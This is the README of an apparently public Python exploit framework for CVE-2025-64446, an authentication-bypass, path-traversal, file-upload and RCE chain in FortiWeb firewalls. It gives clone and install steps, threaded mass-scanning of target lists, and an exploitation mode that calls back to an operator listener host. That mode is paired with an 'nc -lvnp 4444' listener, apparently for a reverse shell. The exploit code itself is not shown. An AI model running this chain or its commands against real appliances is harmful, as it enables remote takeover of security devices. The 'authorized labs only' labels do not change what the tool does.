---

Overview

FortiWeb Research Tool is a Python assessment framework for authorized detection and analysis of CVE-2025-64446, a critical pre-authentication remote code execution issue affecting FortiWeb Web Application Firewall appliances.

Attribute	Detail
Author	Sudeepa Wanigarathna
CVE	CVE-2025-64446
CVSS	9.8 (Critical)
Class	Authentication bypass + path traversal → arbitrary file upload → RCE
Affected	Builds prior to 7.6.7 / 7.8.7 / 8.0.2 (verify against the official advisory)
Remediation	Upgrade to a patched FortiWeb release
Language	Python 3.7+
Entry point	exploit.py

Key capabilities

Mode	Flag(s)	Purpose
Detection	--detect-only	Non-exploitative vulnerability indicators
Safe / read-only	--safe-mode	Skip mutating exploit steps
Mass scan	--targets + --scan-mode	Parallel multi-target assessment
Exploitation	--target + --lhost	Controlled chain in authorized labs only
Dry run	--dry-run	Exercise flow without applying changes
Reporting	--output-dir	JSON + HTML engagement reports

---

Vulnerability summary

Field	Value
CVE ID	CVE-2025-64446
CVSS Score	9.8 (Critical)
Impact	Full system compromise when successfully exploited
Fix	Upgrade to 7.6.7, 7.8.7, 8.0.2, or later

Always confirm affected/fixed versions against Fortinet PSIRT before engagement scoping.

---

📸 Screenshots

---

Installation

git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit

python3 -m venv venv
source venv/bin/activate          # Linux / macOS
# venv\Scripts\activate           # Windows

pip install -r requirements.txt
python3 exploit.py --help

Dependencies

Package	Role
requests, urllib3	HTTP client
rich, colorama, tqdm	Terminal UI & progress
pyyaml	config.yaml loading

Optional (dev): pytest, black, flake8, mypy, python-dotenv — see requirements.txt.

---

Quick start

# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only

# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode

# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10

# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444

Note: Exploitation mode requires --lhost. Use --detect-only or --safe-mode when you do not intend to run the full chain.

---

Usage guide

Detection mode

python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30

Detection evaluates reachability, version hints, API exposure, path-traversal indicators, auth-bypass signals, and upload-endpoint accessibility. Risk is classified as Critical / High / Medium / Low from those indicators.

Mass scanning

cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF

python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports

ScannerManager runs FortiWebScanner workers via a thread pool, prints a Rich summary table, and writes scan_report.json / scan_report.html.

Exploitation mode (authorized labs only)

# Start your listener first (example)
nc -lvnp 4444

python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"

Configuration file

# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false

python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999

CLI flags override values loaded from YAML.

---

Architecture

exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics   # dataclasses
├── LogManager                                       # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay                           # Rich / colorama UI
├── FortiWebScanner                                  # detect-only checks (no exploit chain)
├── ScannerManager                                   # threaded multi-target scans + reports
├── FortiWebExploit                                  # single-target detect / exploit workflow
└── main()                                           # argparse + mode dispatch

Component	Responsibility
FortiWebScanner	Reachability, version, CVE indicator checks
ScannerManager	Parallel scans, JSON/HTML rollups, summary table
FortiWebExploit	Config-driven session, retries, metrics, reports, optional exploit path
LogManager	Structured file logging + colored console

High-level single-target flow:

1. Banner / logging setup
2. Reachability & version probe
3. Indicator checks (or full chain when not in detect/safe mode)
4. JSON + HTML report under reports/
5. Cleanup where applicable

---

Features

Detection

• Path-traversal indicator checks against management API paths
• Authentication-bypass signal checks
• FortiWeb version probing across common status/version endpoints
• API endpoint exposure mapping
• File-upload endpoint accessibility checks
• Risk scoring from combined indicators

Reporting & observability